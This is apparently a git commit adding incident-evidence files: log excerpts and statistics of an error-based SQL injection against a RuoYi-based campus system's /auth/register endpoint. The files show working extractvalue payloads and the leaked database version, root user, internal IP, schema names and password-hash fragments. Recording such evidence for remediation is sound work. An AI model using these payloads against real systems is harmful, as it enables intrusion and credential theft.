+ +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665774 +### Cause: java.sql.SQLException: XPATH syntax error: '~:37|15|2026-09-16 08:45:3' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665775 +; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~:37|15|2026-09-16 08:45:3' + +### /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log:665891 +Caused by: java.sql.SQLException: XPATH syntax error: '~:37|15|2026-09-16 08:45:3' + diff --git a/问题整改/攻击日志摘录/hits-sys-dated-20260916.txt b/问题整改/攻击日志摘录/hits-sys-dated-20260916.txt new file mode 100644 index 00000000..e69de29b diff --git a/问题整改/攻击日志摘录/primary-extract-sql-samples.txt b/问题整改/攻击日志摘录/primary-extract-sql-samples.txt new file mode 100644 index 00000000..714864b0 --- /dev/null +++ b/问题整改/攻击日志摘录/primary-extract-sql-samples.txt @@ -0,0 +1,45 @@ +[2026-09-16 14:07:35] L2067 +==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1' + +[2026-09-16 14:07:35] L2227 +### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1' + +[2026-09-16 14:07:35] L2384 +==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1' + +[2026-09-16 14:07:35] L2544 +### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1' + +[2026-09-16 14:07:35] L2701 +==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1' + +[2026-09-16 14:07:35] L2861 +### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1' + +[2026-09-16 14:07:35] L3018 +==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1' + +[2026-09-16 14:07:35] L3178 +### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1' + +[2026-09-16 14:07:35] L3335 +==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1' + +[2026-09-16 14:07:35] L3495 +### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1' + +[2026-09-16 14:07:35] L3652 +==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT schema_name FROM information_schema.schemata limit 0,1))) AND '1'='1' + +[2026-09-16 14:07:35] L3812 +### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT schema_name FROM information_schema.schemata limit 0,1))) AND '1'='1' + +[2026-09-16 14:07:35] L3969 +==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1' + +[2026-09-16 14:07:35] L4129 +### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1' + +[2026-09-16 14:07:35] L4286 +==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='hzdyjs_xg' limit 0,1))) AND '1'='1' + diff --git a/问题整改/攻击日志摘录/primary-register-hits.txt b/问题整改/攻击日志摘录/primary-register-hits.txt new file mode 100644 index 00000000..209f5047 --- /dev/null +++ b/问题整改/攻击日志摘录/primary-register-hits.txt @@ -0,0 +1,60 @@ +[2026-09-16 14:07:35] L2221 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L2538 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L2855 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L3172 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L3489 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L3806 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L4123 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L4440 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L4757 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L5074 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L5241 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L5562 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L5879 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L6196 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L6513 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L6830 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L7145 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L7458 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L7771 + - 请求地址'/auth/register',发生未知异常. + +[2026-09-16 14:07:35] L8084 + - 请求地址'/auth/register',发生未知异常. + diff --git a/问题整改/攻击日志摘录/primary-root-leaks.txt b/问题整改/攻击日志摘录/primary-root-leaks.txt new file mode 100644 index 00000000..81f809e4 --- /dev/null +++ b/问题整改/攻击日志摘录/primary-root-leaks.txt @@ -0,0 +1,60 @@ +[2026-09-16 14:07:35] L2388 +java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L2540 +### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L2545 +### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L2546 +; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L2664 +Caused by: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L3022 +java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L3174 +### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L3179 +### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L3180 +; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L3298 +Caused by: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L6046 +java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L6198 +### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L6203 +### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L6204 +; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L6322 +Caused by: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L930214 +java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L930364 +### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L930369 +### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L930370 +; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~root@172.16.0.68' + +[2026-09-16 14:07:35] L930486 +Caused by: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + diff --git a/问题整改/攻击日志摘录/primary-sysconfig-hits.txt b/问题整改/攻击日志摘录/primary-sysconfig-hits.txt new file mode 100644 index 00000000..6303886d --- /dev/null +++ b/问题整改/攻击日志摘录/primary-sysconfig-hits.txt @@ -0,0 +1,45 @@ +[2026-09-16 14:07:35] L2224 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L2541 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L2858 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L3175 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L3492 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L3809 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L4126 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L4443 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L4760 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L5077 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L5244 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L5565 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L5882 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L6199 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + +[2026-09-16 14:07:35] L6516 +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) + diff --git a/问题整改/攻击日志摘录/primary-xpath-context.txt b/问题整改/攻击日志摘录/primary-xpath-context.txt new file mode 100644 index 00000000..fd7519d6 --- /dev/null +++ b/问题整改/攻击日志摘录/primary-xpath-context.txt @@ -0,0 +1,120 @@ +===== BLOCK 1 ts=2026-09-16 14:07:35 ===== +2064: Creating a new SqlSession +2065: SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@78067be3] was not registered for synchronization because synchronization is not active +2066: JDBC Connection [HikariProxyConnection@214714929 wrapping com.mysql.cj.jdbc.ConnectionImpl@e9301dc] will not be managed by Spring +2067: ==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1' +2068: ==> Parameters: sys.account.registerUser(String) +2069: 2026-09-16 14:49:32 [XNIO-1 task-2] WARN  c.zaxxer.hikari.pool.ProxyConnection +2070:  - master - Connection com.mysql.cj.jdbc.ConnectionImpl@e9301dc marked as broken because of SQLSTATE(HY000), ErrorCode(1105) +2071: java.sql.SQLException: XPATH syntax error: '~5.7.39-log' + +===== BLOCK 2 ts=2026-09-16 14:07:35 ===== +2216: at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538) +2217: at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) +2218: at java.base/java.lang.Thread.run(Thread.java:840) +2219: Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@78067be3] +2220: 2026-09-16 14:49:32 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler +2221:  - 请求地址'/auth/register',发生未知异常. +2222: org.springframework.jdbc.UncategorizedSQLException: +2223: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log' + +===== BLOCK 3 ts=2026-09-16 14:07:35 ===== +2221:  - 请求地址'/auth/register',发生未知异常. +2222: org.springframework.jdbc.UncategorizedSQLException: +2223: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log' +2224: ### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) +2225: ### The error may involve defaultParameterMap +2226: ### The error occurred while setting parameters +2227: ### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1' +2228: ### Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log' + +===== BLOCK 4 ts=2026-09-16 14:07:35 ===== +2222: org.springframework.jdbc.UncategorizedSQLException: +2223: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log' +2224: ### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) +2225: ### The error may involve defaultParameterMap +2226: ### The error occurred while setting parameters +2227: ### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1' +2228: ### Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log' +2229: ; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~5.7.39-log' + +===== BLOCK 5 ts=2026-09-16 14:07:35 ===== +2340: at io.undertow.server.Connectors.executeRootHandler(Connectors.java:395) +2341: at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861) +2342: at org.jboss.threads.ContextHandler$1.runWith(ContextHandler.java:18) +2343: at org.jboss.threads.EnhancedQueueExecutor$Task.run(EnhancedQueueExecutor.java:2513) +2344: at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538) +2345: at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) +2346: at java.base/java.lang.Thread.run(Thread.java:840) +2347: Caused by: java.sql.SQLException: XPATH syntax error: '~5.7.39-log' + +===== BLOCK 6 ts=2026-09-16 14:07:35 ===== +2381: Creating a new SqlSession +2382: SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@293b36f8] was not registered for synchronization because synchronization is not active +2383: JDBC Connection [HikariProxyConnection@1203979072 wrapping com.mysql.cj.jdbc.ConnectionImpl@74224bcb] will not be managed by Spring +2384: ==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1' +2385: ==> Parameters: sys.account.registerUser(String) +2386: 2026-09-16 14:50:08 [XNIO-1 task-2] WARN  c.zaxxer.hikari.pool.ProxyConnection +2387:  - master - Connection com.mysql.cj.jdbc.ConnectionImpl@74224bcb marked as broken because of SQLSTATE(HY000), ErrorCode(1105) +2388: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +===== BLOCK 7 ts=2026-09-16 14:07:35 ===== +2533: at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538) +2534: at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) +2535: at java.base/java.lang.Thread.run(Thread.java:840) +2536: Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@293b36f8] +2537: 2026-09-16 14:50:08 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler +2538:  - 请求地址'/auth/register',发生未知异常. +2539: org.springframework.jdbc.UncategorizedSQLException: +2540: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +===== BLOCK 8 ts=2026-09-16 14:07:35 ===== +2538:  - 请求地址'/auth/register',发生未知异常. +2539: org.springframework.jdbc.UncategorizedSQLException: +2540: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' +2541: ### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) +2542: ### The error may involve defaultParameterMap +2543: ### The error occurred while setting parameters +2544: ### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1' +2545: ### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +===== BLOCK 9 ts=2026-09-16 14:07:35 ===== +2539: org.springframework.jdbc.UncategorizedSQLException: +2540: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' +2541: ### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) +2542: ### The error may involve defaultParameterMap +2543: ### The error occurred while setting parameters +2544: ### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1' +2545: ### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' +2546: ; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~root@172.16.0.68' + +===== BLOCK 10 ts=2026-09-16 14:07:35 ===== +2657: at io.undertow.server.Connectors.executeRootHandler(Connectors.java:395) +2658: at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861) +2659: at org.jboss.threads.ContextHandler$1.runWith(ContextHandler.java:18) +2660: at org.jboss.threads.EnhancedQueueExecutor$Task.run(EnhancedQueueExecutor.java:2513) +2661: at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538) +2662: at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) +2663: at java.base/java.lang.Thread.run(Thread.java:840) +2664: Caused by: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + +===== BLOCK 11 ts=2026-09-16 14:07:35 ===== +2698: Creating a new SqlSession +2699: SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@5b14fe1e] was not registered for synchronization because synchronization is not active +2700: JDBC Connection [HikariProxyConnection@519848463 wrapping com.mysql.cj.jdbc.ConnectionImpl@5708c209] will not be managed by Spring +2701: ==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1' +2702: ==> Parameters: sys.account.registerUser(String) +2703: 2026-09-16 14:52:10 [XNIO-1 task-2] WARN  c.zaxxer.hikari.pool.ProxyConnection +2704:  - master - Connection com.mysql.cj.jdbc.ConnectionImpl@5708c209 marked as broken because of SQLSTATE(HY000), ErrorCode(1105) +2705: java.sql.SQLException: XPATH syntax error: '~hzdyjs_xg' + +===== BLOCK 12 ts=2026-09-16 14:07:35 ===== +2850: at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538) +2851: at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) +2852: at java.base/java.lang.Thread.run(Thread.java:840) +2853: Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@5b14fe1e] +2854: 2026-09-16 14:52:10 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler +2855:  - 请求地址'/auth/register',发生未知异常. +2856: org.springframework.jdbc.UncategorizedSQLException: +2857: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~hzdyjs_xg' + diff --git a/问题整改/攻击日志摘录/stats.txt b/问题整改/攻击日志摘录/stats.txt new file mode 100644 index 00000000..04f17573 --- /dev/null +++ b/问题整改/攻击日志摘录/stats.txt @@ -0,0 +1,34 @@ +COUNTS {'extractvalue': 16726, 'registerUser_param': 8747, 'xpath': 42230, 'register': 8644, 'SysConfigMapper': 8540, 'root_leak': 200} +TS_FIRST 2026-09-16 10:43:25 +TS_LAST 2026-09-16 23:36:48 +TS_UNIQUE 978 +HOURS +2026-09-16 10 count_lines=15 +2026-09-16 14 count_lines=65 +2026-09-16 15 count_lines=31500 +2026-09-16 16 count_lines=10125 +2026-09-16 17 count_lines=5 +2026-09-16 21 count_lines=15 +2026-09-16 22 count_lines=380 +2026-09-16 23 count_lines=125 +TOP_FRAGS +8705 ~__EMPTY__ +260 ~ +235 ~tenant_id +230 ~create_by +225 ~create_time +225 ~update_by +225 ~update_time +210 ~2025-12-23 13:1 +205 ~create_dept +200 ~root@172.16.0.68 +185 ~610252481355777 +170 ~remark +170 ~025122313071700 +160 ~id +135 ~deleted +130 ~~|~$2a$10$FGldU +130 ~5BGGq9ONuBmYhxL +130 ~weFhmbkE45keMKA +130 ~SNZpjETXawE1oGb +120 ~~2025-12-23 13: diff --git a/问题整改/杭州第一技师学院智慧校园系统存在SQL注入漏洞（补充成果）.docx b/问题整改/杭州第一技师学院智慧校园系统存在SQL注入漏洞（补充成果）.docx new file mode 100644 index 00000000..68aef8d0 Binary files /dev/null and b/问题整改/杭州第一技师学院智慧校园系统存在SQL注入漏洞（补充成果）.docx differ